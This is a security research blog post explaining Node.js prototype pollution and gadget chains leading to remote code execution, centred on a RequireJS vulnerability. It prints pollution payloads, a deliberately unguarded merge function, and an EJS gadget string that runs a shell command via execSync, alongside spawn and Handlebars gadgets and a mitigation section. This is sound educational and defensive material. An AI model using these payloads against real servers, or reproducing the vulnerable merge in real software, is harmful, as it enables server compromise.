Prototype Pollution to RCE: Node.js Gadget Chains Explained | Tağmaç - root@Tagoletta:~#
Contents

Prototype Pollution to RCE: Node.js Gadget Chains Explained

Wed May 27 2026 · 4 min read

Category: Security Research

# Attack-Chain# JavaScript# Exploit


Introduction: The JavaScript Prototype Chain

In JavaScript, every object has a hidden link called [[Prototype]]. This link determines where property lookups continue when the object itself doesn't have a property — this is prototype inheritance.

const user = { name: "alice" };
// user.__proto__ → Object.prototype
// user.toString() comes from Object.prototype.toString

At the top of the chain sits Object.prototype. Every object in a Node.js process inherits from it. That fact raises a critical security question:

What happens if we add a property to Object.prototype?

Object.prototype.admin = true;
const req = {};
console.log(req.admin); // → true  (never defined on req)

Answer: Every object in the process instantly inherits that property.

What is Prototype Pollution?

Prototype pollution occurs when an attacker can modify Object.prototype through user-controlled input.

This typically happens via insecure merge, clone, or extend operations:

Vulnerable deep merge:

function merge(target, source) {
  for (const key of Object.keys(source)) {
    if (typeof source[key] === "object") {
      merge(target[key], source[key]);  // recursive
    } else {
      target[key] = source[key];       // NO KEY GUARD
    }
  }
}

// Attacker-controlled payload:
merge({}, JSON.parse('{"__proto__":{"shell":"bash"}}'));
// Now: Object.prototype.shell === "bash"

The __proto__ key has special JavaScript semantics: target.__proto__ returns Object.prototype. So target.__proto__.shell = "bash" is equivalent to Object.prototype.shell = "bash".

Alternative pollution vectors:

// Via constructor.prototype
{"constructor": {"prototype": {"admin": true}}}

// Via URL parameter
?__proto__[shell]=bash

// Via JSON merge patch
PATCH /config  {"__proto__": {"debug": true}}

Server-Side Prototype Pollution (SSPP)

Client-side (browser) prototype pollution is well known. The more dangerous variant is server-side: the Object.prototype of an entire Node.js process is poisoned.

Why more dangerous?

  • A single request affects the entire application
  • Written to memory; every subsequent object is affected
  • Library gadgets can be chained all the way to RCE

CVE-2024-38999: RequireJS Prototype Pollution

RequireJS is a widely-used module loader for both Node.js and browser environments.

Vulnerable function: require.config()

// RequireJS source (simplified)
req.config = function(config) {
  // config object is deep-merged with cfg
  // WITHOUT any __proto__ key guard
  extend(cfg, config);
  return req;
};

If a user-controlled config object is passed to require.config():

// Attacker-controlled config
require.config({
  "__proto__": {
    "shell": "bash"
  }
});
// Object.prototype.shell === "bash"

Gadget Chains: Turning Pollution into RCE

Prototype pollution alone is harmless. The danger lies in the presence of gadgets in the application — existing code that reads the polluted property and uses it unsafely.

Gadget 1: EJS Template Engine (CVE-2022-29078 style)

EJS reads the outputFunctionName option during rendering and evaluates it as code:

// EJS internals
if (opts.outputFunctionName) {
  prepended += `  var ${opts.outputFunctionName} = __output;\n`;
}
// The value is inserted into generated code string → eval'd

Attack chain:

// 1. Pollute Object.prototype
Object.prototype.outputFunctionName =
  "x;process.mainModule.require('child_process').execSync('id > /tmp/pwned')//";

// 2. Any EJS render call (normal app flow) now triggers RCE
ejs.render("<%= name %>", { name: "alice" });
// → gadget fires → RCE

Gadget 2: child_process.spawn Options

const { spawn } = require("child_process");

function runConverter(file) {
  // options object is empty; values inherited from Object.prototype
  const proc = spawn("convert", [file], {});
  return proc;
}

// With pollution:
Object.prototype.shell = true;
Object.prototype.env = { NODE_OPTIONS: "--require /tmp/malicious.js" };
// spawn now runs with shell: true → /bin/bash executes command

Gadget 3: Handlebars Template Engine

Object.prototype.type = "Program";
Object.prototype.body = [/* AST node for require('child_process').exec(...) */];
// Handlebars compile → AST traversal → executes body → RCE

Full Attack Chain: CVE-2024-38999

HTTP request → require.config(userInput)
    ↓  deep merge (no key guard)
Object.prototype.shell = "bash"
    ↓  gadget lookup
ejs.render() or spawn() is called
    ↓  reads poisoned property
/bin/bash executed
    ↓
RCE — server compromised

Mitigation

1. Add a key guard to merge functions:

function safeMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (key === "__proto__" || key === "constructor") continue;
    if (typeof source[key] === "object") {
      safeMerge(target[key] ??= {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

2. Use Object.create(null) for config objects:

// Creates an object with NO prototype
const config = Object.create(null);
// __proto__ inheritance doesn't exist — pollution impossible

3. Freeze Object.prototype:

Object.freeze(Object.prototype);
// Pollution attempts silently fail (throw in strict mode)

4. Update RequireJS to 2.3.7 or later.

5. Node.js runtime flag:

node --disable-proto=delete app.js
# Disables __proto__ accessor entirely

Conclusion

Prototype pollution offers an elegant attack chain from a seemingly low-impact entry point ("just a property on an object") to full server compromise. The danger lies in the attacker reusing existing application code as gadgets — no new code needs to be introduced.

CVE-2024-38999 showed that a library used for over a decade across millions of projects was vulnerable to this attack class. Every merge, assign, or extend operation in your Node.js codebase should be audited for __proto__ key handling.


CVE: CVE-2024-38999
Library: RequireJS < 2.3.7
CVSS: 9.8 (Critical)
Research basis: "Silent Spring: Prototype Pollution Leads to RCE in Node.js" — USENIX Security 2023
Reference: https://portswigger.net/research/server-side-prototype-pollution

Frequently Asked Questions

What is prototype pollution?

A JavaScript vulnerability where attacker-controlled keys like proto or constructor.prototype inject properties into Object.prototype, affecting every object in the Node.js process.

How does prototype pollution become RCE?

By polluting properties that a downstream gadget reads — such as options passed to child_process spawn, require paths, or template options — an attacker turns the polluted value into command or code execution.

What is a gadget chain in this context?

A gadget is existing code that consumes a polluted property in a dangerous sink; a chain links the pollution point to that sink. The post demonstrates one via CVE-2024-38999 in RequireJS.

How do you prevent prototype pollution?

Reject proto, constructor and prototype keys in user input, use Object.create(null) or Map for untrusted data, apply Object.freeze(Object.prototype), and validate input against strict schemas.